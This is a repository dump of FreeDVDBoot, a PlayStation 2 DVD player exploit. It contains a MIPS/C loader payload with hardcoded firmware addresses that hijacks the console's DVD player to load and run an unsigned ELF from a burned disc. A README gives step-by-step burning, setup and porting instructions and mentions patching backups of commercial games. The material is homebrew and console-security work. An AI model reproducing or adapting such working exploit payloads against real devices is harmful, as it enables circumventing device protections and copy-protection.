-------------------------------------------------------------------------------- 1 | .set noreorder # If we're writing assembly, why would we want this? 2 | 3 | .section .text.startup 4 | 5 | .global _start 6 | _start: 7 | j JUMP 8 | nop 9 | -------------------------------------------------------------------------------- /PAYLOADS/3.03-3.11/payload.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | // Pick one 4 | #define LOAD_FROM_VTS_02_0_IFO 5 | // #define LOAD_FROM_SECTOR_RELATIVE_TO_VIDEO_TS_IFO (151 - 138 - 7) 6 | 7 | #define min(a, b) (((a) < (b)) ? (a) : (b)) 8 | 9 | void (*pointToIFO)(unsigned int index, unsigned int lba, unsigned int offset); 10 | void (*getDiscData)(unsigned int s, void *d); 11 | 12 | int (*getBufferInternal)(void *filename, int type, int currentSector, void *dest, unsigned int sectorsRemaining, int curReadPos); 13 | 14 | int (*SifIopReset)(char *, int); 15 | int (*SifIopSync)(void); 16 | void (*SifInitRpc)(int); 17 | void (*SifExitRpc)(void); 18 | 19 | #define ELF_PT_LOAD 1 20 | 21 | typedef unsigned char u8; 22 | typedef unsigned short u16; 23 | typedef unsigned int u32; 24 | 25 | typedef struct 26 | { 27 | u8 ident[16]; 28 | u16 type; 29 | u16 machine; 30 | u32 version; 31 | u32 entry; 32 | u32 phoff; 33 | u32 shoff; 34 | u32 flags; 35 | u16 ehsize; 36 | u16 phentsize; 37 | u16 phnum; 38 | u16 shentsize; 39 | u16 shnum; 40 | u16 shstrndx; 41 | } elf_header_t; 42 | 43 | typedef struct 44 | { 45 | u32 type; 46 | u32 offset; 47 | void *vaddr; 48 | u32 paddr; 49 | u32 filesz; 50 | u32 memsz; 51 | u32 flags; 52 | u32 align; 53 | } elf_pheader_t; 54 | 55 | __attribute__((noreturn)) void ExecPS2(void *entry, void *gp, int argc, char **argv) 56 | { 57 | asm volatile("la $v1, 7; syscall 7"); 58 | //__builtin_unreachable(); 59 | // TODO: warning: `noreturn' function does return 60 | } 61 | 62 | static void *memcpy_(void *dest, void *src, size_t n) 63 | { 64 | int i; 65 | for (i = 0; i < n; i++) 66 | ((unsigned char *)dest)[i] = ((unsigned char *)src)[i]; 67 | return dest; 68 | } 69 | 70 | // Todo: maybe cache last sector to save 1 or 2 reads 71 | static void *memset(void *dest, int c, size_t n) 72 | { 73 | int i; 74 | for (i = 0; i < n; i++) 75 | ((unsigned char *)dest)[i] = c; 76 | return dest; 77 | } 78 | 79 | static void readData(void *dest, unsigned int offset, size_t n) 80 | { 81 | unsigned char buffer[0x800]; 82 | 83 | unsigned int copied = 0; 84 | #define remaining (n - copied) 85 | 86 | if (offset % 0x800) { 87 | getBufferInternal("", 1, offset / 0x800, buffer, 1, 0); 88 | memcpy_(dest, buffer + offset % 0x800, min(0x800 - (offset % 0x800), n)); 89 | copied += min(0x800 - (offset % 0x800), n); 90 | } 91 | 92 | if (remaining >= 0x800) { 93 | getBufferInternal("", 1, (offset + copied) / 0x800, dest + copied, remaining / 0x800, 0); 94 | copied += (remaining / 0x800) * 0x800; 95 | } 96 | 97 | if (remaining > 0) { 98 | getBufferInternal("", 1, (offset + copied) / 0x800, buffer, 1, 0); 99 | memcpy_(dest + copied, buffer, remaining); 100 | } 101 | } 102 | 103 | __attribute__((noreturn)) void _start(void) 104 | { 105 | int i; 106 | 107 | // Identify version based on jump target location 108 | if ((*(void **)0x928D24) == (void *)0x15ea540) { 109 | // 3.03 110 | pointToIFO = (void *)0x2432c8; 111 | getDiscData = (void *)0x243438; 112 | 113 | getBufferInternal = (void *)0x262360; 114 | 115 | SifIopReset = (void *)0x291fb8; 116 | SifIopSync = (void *)0x292138; 117 | SifInitRpc = (void *)0x2082a0; 118 | SifExitRpc = (void *)0x208440; 119 | } else if ((*(void **)0x6D9C3C) == (void *)0x126b7e0) { 120 | // 3.04J 121 | pointToIFO = (void *)0x23dfe0; 122 | getDiscData = (void *)0x23e150; 123 | 124 | getBufferInternal = (void *)0x261560; 125 | 126 | SifIopReset = (void *)0x84fe0; 127 | SifIopSync = (void *)0x85110; 128 | SifInitRpc = (void *)0x84180; 129 | SifExitRpc = (void *)0x84310; 130 | } else if ((*(void **)0x95CF40) == (void *)0x1800180) { 131 | // 3.04M 132 | pointToIFO = (void *)0x23dfc8; 133 | getDiscData = (void *)0x23e138; 134 | 135 | getBufferInternal = (void *)0x261548; 136 | 137 | SifIopReset = (void *)0x291358; 138 | SifIopSync = (void *)0x2914d8; 139 | SifInitRpc = (void *)0x208260; 140 | SifExitRpc = (void *)0x208400; 141 | } else if ((*(void **)0x5f1f38) == (void *)0x1500014) { 142 | // 3.10 143 | pointToIFO = (void *)0x25c880; 144 | getDiscData = (void *)0x25c9f0; 145 | 146 | getBufferInternal = (void *)0x002986a0; 147 | 148 | SifIopReset = (void *)0x84fe0; 149 | SifIopSync = (void *)0x85110; 150 | SifInitRpc = (void *)0x84180; 151 | SifExitRpc = (void *)0x84310; 152 | } else if ((*(void **)0x3EA438) == (void *)0x1500014) { 153 | // 3.11 154 | pointToIFO = (void *)0x258a28; 155 | getDiscData = (void *)0x258b98; 156 | 157 | getBufferInternal = (void *)0x2952f0; 158 | 159 | SifIopReset = (void *)0x20e7d8; 160 | SifIopSync = (void *)0x20e958; 161 | SifInitRpc = (void *)0x208d80; 162 | SifExitRpc = (void *)0x208f20; 163 | } 164 | 165 | #ifdef LOAD_FROM_VTS_02_0_IFO 166 | // point to VTS_02_0.IFO 167 | pointToIFO(2, 0, 0); 168 | 169 | // Force a read from VTS_02_0.IFO 170 | char head[64]; 171 | getDiscData(64, &head); 172 | 173 | #define RELATIVE_SECTOR 0 174 | #else 175 | #define RELATIVE_SECTOR LOAD_FROM_SECTOR_RELATIVE_TO_VIDEO_TS_IFO 176 | #endif 177 | 178 | // Based on https://github.com/ps2homebrew/uLaunchELF/blob/master/loader/loader.c 179 | elf_header_t eh; 180 | readData(&eh, RELATIVE_SECTOR * 0x800, sizeof(elf_header_t)); 181 | 182 | elf_pheader_t eph[eh.phnum]; 183 | readData(&eph, RELATIVE_SECTOR * 0x800 + eh.phoff, sizeof(elf_pheader_t) * eh.phnum); 184 | 185 | for (i = 0; i < eh.phnum; i++) { 186 | if (eph[i].type != ELF_PT_LOAD) 187 | continue; 188 | 189 | readData(eph[i].vaddr, RELATIVE_SECTOR * 0x800 + eph[i].offset, eph[i].filesz); 190 | if (eph[i].memsz > eph[i].filesz) 191 | memset(eph[i].vaddr + eph[i].filesz, 0, eph[i].memsz - eph[i].filesz); 192 | } 193 | 194 | asm volatile("la $v1, 0x64; la $a0, 0; syscall 0x64"); // FlushCache data writeback 195 | asm volatile("la $v1, 0x64; la $a0, 2; syscall 0x64"); // FlushCache instruction invalidate 196 | 197 | // while (!SifIopReset("", 0)) 198 | // ; 199 | // while (!SifIopSync()) 200 | // ; 201 | 202 | // while (!SifIopReset("rom0:UDNL rom0:EELOADCNF", 0)) 203 | // ; 204 | SifIopReset("rom0:UDNL rom0:EELOADCNF", 0); 205 | while (!SifIopSync()) 206 | ; 207 | 208 | SifInitRpc(0); 209 | SifExitRpc(); 210 | 211 | char *argv[] = {"cdrom0:\\VIDEO_TS\\VTS_02_0.IFO"}; 212 | ExecPS2((void *)eh.entry, 0, 1, &argv); 213 | // TODO: warning: passing arg 4 of `ExecPS2' from incompatible pointer type 214 | } 215 | -------------------------------------------------------------------------------- /PAYLOADS/3.03-3.11/udf/VIDEO_TS/VIDEO_TS.IFO: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ps2homebrew/FreeDVDBoot/4af38bdd6590a704ea780c9f83d14c7fcc297160/PAYLOADS/3.03-3.11/udf/VIDEO_TS/VIDEO_TS.IFO -------------------------------------------------------------------------------- /PAYLOADS/3.03-3.11/udf/VIDEO_TS/VTS_01_0.IFO: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ps2homebrew/FreeDVDBoot/4af38bdd6590a704ea780c9f83d14c7fcc297160/PAYLOADS/3.03-3.11/udf/VIDEO_TS/VTS_01_0.IFO -------------------------------------------------------------------------------- /PAYLOADS/3.03-3.11/udf/VIDEO_TS/VTS_02_0.IFO: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ps2homebrew/FreeDVDBoot/4af38bdd6590a704ea780c9f83d14c7fcc297160/PAYLOADS/3.03-3.11/udf/VIDEO_TS/VTS_02_0.IFO -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # FreeDVDBoot 2 | 3 | This is the fork of the [original repository](https://github.com/CTurt/FreeDVDBoot). 4 | 5 | PlayStation 2 DVD Player Exploit. This allows you to burn your own PlayStation 2 homebrew discs and play them on an unmodified console as seen in the [demo video](https://www.youtube.com/watch?v=ez0y-hz3VuM). With wLaunchELF as the initial program, users can include multiple homebrew programs on the same disc. 6 | 7 | For technical details please refer to my [blog post](https://cturt.github.io/freedvdboot.html). 8 | 9 | Read from [here](#easy-setup-for-all-ps2-slim-consoles--bravia-tv) if you have a Slim PS2. 10 | 11 | Read from [here](#phat-consoles) if you have a Phat PS2. 12 | 13 | ## Easy setup for all PS2 Slim consoles / Bravia TV 14 | 15 | All you need is: 16 | 17 | - A compatible console (all PS2 Slim / Sony Bravia TV units are supported), 18 | - A DVD (not a CD), preferably a DVD-R as other types such as DVD+RW put more strain on the PS2 laser, 19 | - A computer with a built-in disc burner / external USB disc burner, 20 | 21 | ### Step 1: Download the ISO 22 | 23 | Download [`All PS2 Slims - English language.iso`](https://github.com/ps2homebrew/FreeDVDBoot/releases/download/1.0/All.PS2.Slims.-.English.language.iso.zip) 24 | 25 | ### Step 2: Burn the ISO 26 | 27 | Please check the following to ensure a good burn which the PS2 will be able to read: 28 | 29 | - Clean off any dust from the disc, 30 | - Select the lowest burning speed option, 31 | - Select finalize disc option, 32 | 33 | ### Step 3: Set console language to English 34 | 35 | Your console must be set to **English language** for the exploit to work (other languages cause memory contents to change). 36 | 37 | To do this, boot without a disc inserted, press **Circle** to enter **System Configuration** and set your system language to **English**. 38 | 39 | ### Step 4: Boot! 40 | 41 | Insert the disc into your console, and wait. It should boot into **wLaunchELF** within a few seconds. 42 | 43 | From **wLaunchELF**, you can run any homebrew you want over USB **mass** storage! Many people choose to run **FreeMCBoot** or **Fortuna** installer, as they find booting from a memory card more convenient. 44 | 45 | If you want to add additional homebrew to your DVD / replace wLaunchELF, please read from [Custom disc setup](#custom-disc-setup). 46 | 47 | ## Troubleshooting - please read if the above didn't work 48 | 49 | | Problem | Solution | 50 | |------------------------------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| 51 | | Disc doesn't spin on slim console | Press the lid down hard to ensure the sensors detect that the lid is closed. If still not working try placing some weight such as a book on the top of the console. | 52 | | PS2 detects the disc as "PlayStation 2 disc" instead of "DVD Video" in the browser | Your PS2 has a modchip that is incorrectly preventing the DVD player from launching. You do not need this exploit for a console with a modchip, but if you really want to try it some modchips offer the ability to temporarily disable themselves (by holding start when booting, for example). | 53 | | PS2 displays "unable to read disc" | Please try playing a real DVD movie disc to verify that your console's DVD laser works; doing this can also recalibrate the laser that might solve the issue, as [commented here](https://github.com/CTurt/FreeDVDBoot/issues/27). Also try the following PS2 setting `Version -> Console -> Diagnosis -> On` which can assist with laser problems. | 54 | | PS2 freezes at black/red/green screen | If your PS2 DVD laser is really worn out, or you are using something difficult to read as a dusty DVD+RW burned on high speed, it might take some time before wLaunchELF actually starts. Please try waiting 3 minutes or so, per [this comment](https://github.com/CTurt/FreeDVDBoot/issues/3#issuecomment-651337741) | 55 | 56 | Other suggestions that worked for others: 57 | 58 | - Try unplugging your controller, and plugging it back in. Apparently [that solved the issue for this user](https://github.com/CTurt/FreeDVDBoot/issues/103). 59 | 60 | - Try removing all memory cards. Apparently [that solved the issue for this user](https://github.com/CTurt/FreeDVDBoot/issues/3#issuecomment-651970564). 61 | 62 | - Try burning with different software. Apparently [for this user](https://github.com/CTurt/FreeDVDBoot/issues/108) and [this user](https://github.com/CTurt/FreeDVDBoot/issues/124#issuecomment-661231776) ImgBurn didn't work, but CDBurnerXP with 1x speed, compatibility settings, and finalize option worked. 63 | 64 | - Check that your console's language is set to English. 65 | 66 | - Check the GitHub repo to see if the image has been updated recently. Download the new one if it has. 67 | 68 | **Please, only open a GitHub issue if you have read and tried all of the above. If you do open an issue, please confirm that you tried a real DVD movie and it worked on your system so that we know it's not just a laser failure; also include your DVD player version, the name of the ISO you tried, the type of DVD, and what happens when you launch the disc.** 69 | 70 | ## Phat consoles 71 | 72 | Phat consoles have many different firmware version revisions, which makes them harder to add support for. It also means you will need to identify your firmware version and burn the matching ISO file. 73 | 74 | It's still early in terms of support for different versions, check back here later. Hopefully, over time other developers from the scene will also contribute support for additional DVD Player versions. The new exploit for 2.10 should be possible to port to all firmware revisions between 1.10 - 2.13 (Sony actually patched this one in 2.14 lol). 75 | 76 | ### Step 1: Identify your DVD Player Version 77 | 78 | Boot your PlayStation 2 without any disc inserted, and press Triangle to identify which DVD Player version your console has. 79 | 80 | **Currently only support:** 81 | 82 | - 2.10 (certain models only? Working: SCPH-30001 R (ROMGEN 0160AC20010427), SCPH-30000 (ROMGEN 0160JC20010427), SCPH-30004 R (ROMGEN 0160EC20011004), Not working: SCPH-39004 - todo), 83 | 84 | - 2.12 (regions U, J, and G, if any other regions exist for 2.12 let me know), 85 | 86 | - 3.04 (tested only region M in the emulator so far, but guess most other regions EUMACDG, except for J will work - with English language set in settings), 87 | 88 | ### Step 2: Download the ISO 89 | 90 | Download the ISO that corresponds to your firmware version. 91 | 92 | **Please don't bother trying on a non-supported firmware/language configuration, it won't work...** 93 | 94 | For example, if your DVD Player version is 2.10J, you would want to download `PREBUILT ISOs/2.10.iso`. 95 | 96 | ### Step 3, 4, 5 - Burn the ISO, set console language to English, and boot! 97 | 98 | These steps are the same as described for slim above. 99 | 100 | ## Custom disc setup - Slim 101 | 102 | If you intend to make your image containing additional homebrew / modified initial loader, please read on. 103 | 104 | ### Step 1: Copy your homebrew 105 | 106 | Once you've identified your console's DVD Player version, copy all of the homebrew you would like to include on the disc into that directory in the `Filesystems` (EG: `Filesystems/All PS2 slims (3.10 + 3.11) - English language/` is the one that supports all slim consoles). 107 | 108 | ### Step 2: Make an image 109 | 110 | Once you've placed all the homebrew files you'd like into the directory, generate a UDF (ISO9960/UDF hybrid also works) image of the directory (so `VIDEO_TS` is in the root). 111 | 112 | On Windows, you can use a GUI like ImgBurn to make a disc image. It will give a warning that `VIDEO_TS.BUP` is missing, but just click continue anyway (PS2 doesn't require this file). 113 | 114 | On Linux, the easiest way is probably to use `genisoimage` as it comes pre-installed on many Linux distributions like Ubuntu. Run the following on terminal (where `exploit.iso` is the output and `Filesystem/All PS2 slims (3.10 + 3.11) - English language` is the directory containing `VIDEO_TS` and any homebrew): 115 | 116 | genisoimage -udf -o exploit.iso "Filesystems/All PS2 slims (3.10 + 3.11) - English language" 117 | 118 | ### Step 3: Test and burn 119 | 120 | I would recommend you test in PCSX2 first, but since [PCSX2 doesn't support loading the DVD Player](https://github.com/PCSX2/pcsx2/issues/1981), you have to decrypt and repack it yourself, which is beyond the scope of this README. With that said, if you aren't touching anything in `VIDEO_TS`, there shouldn't be any reason for the exploit to fail. 121 | 122 | ## Custom disc setup - Phat 123 | 124 | Instructions for building the phat exploit will be coming soon. 125 | 126 | ## Replacing the initial program - Slim 127 | 128 | I've included wLaunchELF recompiled with [DVD support](https://github.com/ps2dev/ps2sdk/pull/130) as the default initial program. It presents a menu that allows you to select any of the homebrew programs you chose to include on the disc (and also allows booting from USB). 129 | 130 | Alternatively, if you would rather just boot into a single homebrew application, the initial program the exploit attempts to boot is located at `VIDEO_TS/VTS_02_0.IFO`, replace it with your desired `ELF` file, with the below caveat that compatibility might be lower than if you booted a program through wLaunchELF: 131 | 132 | For the initial release, I didn't bother to reimplement a couple of functions used by the loader, so it requires that the ELF you load doesn't overwrite those functions I use (those are around `0x84000 - 0x85fff` and `0x250000 - 0x29ffff`). I will probably remove this limitation in the future, but all ELFs I could find were fine with this limitation. 133 | 134 | You can run `readelf -l` to verify your executable satisfies this requirement. For example, this Tetris homebrew just uses `0x00100000 - 0x0017a940`: 135 | 136 | $ readelf -l VTS_02_0.IFO 137 | 138 | Elf file type is EXEC (Executable file) 139 | Entry point 0x104490 140 | There is 1 program header, starting at offset 52 141 | 142 | Program Headers: 143 | Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align 144 | LOAD 0x001000 0x00100000 0x00100000 0x72ef4 0x7a940 RWE 0x1000 145 | 146 | Section to Segment mapping: 147 | Segment Sections... 148 | 00 .text .ctors .dtors .rodata .data .jcr .sdata .sbss .bss 149 | 150 | ## Replacing the initial program - Phat 151 | 152 | The ELF is read from `0x5bb000` in the ISO file, copy to that location with a hex editor to replace it. 153 | 154 | ## Loading backups 155 | 156 | It's possible to patch backup images of commercial games to make them bootable using this exploit. I didn't want to maintain this tool, so it's not included in this repository, but can be found by searching for something like FreeDVDBoot ESR auto patcher. 157 | 158 | ## DEVELOPMENT: Replacing the loader payload - Slim 159 | 160 | The default payload will boot `VIDEO_TS/VTS_02_0.IFO` as an ELF file, but tweaks might be desired to improve compatibility, or maybe changing the behavior to boot `BOOT.ELF` instead for instance. 161 | 162 | If you wish to update the loader payload, run `build.sh` inside `PAYLOAD` directory, and copy the output `.bin` files into `VIDEO_TS/VIDEO_TS.IFO` at the offsets displayed by the output of the command. 163 | 164 | ## DEVELOPMENT: Replacing the loader payload - Phat 165 | 166 | Run the following to build a new `dvd.iso`: 167 | 168 | `make -f hardware.mk` 169 | 170 | If you want to test on PCSX2 using KrHacken's repacked DVD players, it loads `udfio` at a different base address, use the repacked Makefile to build an image for testing on the emulator: 171 | 172 | `make -f emulator.mk` 173 | 174 | `clean` before switching between these different Makefiles, or use `-B` flag. 175 | 176 | ## PORTING: 177 | 178 | Please read my technical writeup, to understand how the exploit works. I've also provided some [notes about porting](https://ps2homebrew.github.io/FreeDVDBoot/portingnotes.html) in the [`gh-pages`](https://github.com/ps2homebrew/FreeDVDBoot/tree/gh-pages) branch. 179 | 180 | ## Reference table 181 | 182 | | DVDver | PS2 Model | Hackable | 183 | |----------|:-------------:|------:| 184 | | 1.10U | SCPH-30001 | t | 185 | | 1.20A | SCPH-30002 | ? | 186 | | 1.20E | SCPH-30003/4 | ? | 187 | | 1.20U | SCPH-30001 | ? | 188 | | 1.30A | SCPH-30002/35002 | ? | 189 | | 1.30E | SCPH-30003/4/35003/4 | ? | 190 | | 1.30U | SCPH-30001/35001 | ? | 191 | | 2.00J | SCPH-18000 | ? | 192 | | 2.02J | SCPH-30000/35000 | ? | 193 | | 2.10A | SCPH-30002 R | E | 194 | | 2.10E | SCPH-30003/4 R | E | 195 | | 2.10J | SCPH-30000 | E | 196 | | 2.10U | SCPH-30001 R | E | 197 | | 2.12G | SCPH-30006 R | E | 198 | | 2.12U | SCPH-39001 | E | 199 | | 2.13A | SCPH-39002 | t | 200 | | 2.13E | SCPH-39003/4 | t | 201 | | 2.14J | SCPH-37000 | x | 202 | | 2.15G | SCPH-39006 | x | 203 | | 2.16D | SCPH-39008 | x | 204 | | 2.16J | SCPH-39000 | x | 205 | | 3.00A | SCPH-50002 | x | 206 | | 3.00E | SCPH-50003/4 | x | 207 | | 3.00J | SCPH-5x000 | x | 208 | | 3.00U | SCPH-50001 | x | 209 | | 3.02A | SCPH-50002 | x | 210 | | 3.02C | SCPH-50009 | x | 211 | | 3.02D | SCPH-50008 | x | 212 | | 3.02E | SCPH-50003/4 | x | 213 | | 3.02G | SCPH-50005/6 | x | 214 | | 3.02J | SCPH-50000 | x | 215 | | 3.02U | SCPH-50001 | x | 216 | | 3.03E | SCPH-50004 | C | 217 | | 3.03J | SCPH-50000 | C | 218 | | 3.04M | SCPH-50011 | C | 219 | | 3.10 | SCPH-700xx | C | 220 | | 3.11 | SCPH-750xx/770xx/790xx/900xx/PX300 | C | 221 | -------------------------------------------------------------------------------- /TODO: -------------------------------------------------------------------------------- 1 | Test payload in pcsx2 with the real DVDROM content, not with repacked dvd-player versions 2 | port 1.00-2.13 payload to all DVD FW in that range 3 | try to generate an iso with the mix of 2 payloads 4 | document more how ElReino payload is working 5 | fix compilation warnings 6 | test if generated iso files works 7 | --------------------------------------------------------------------------------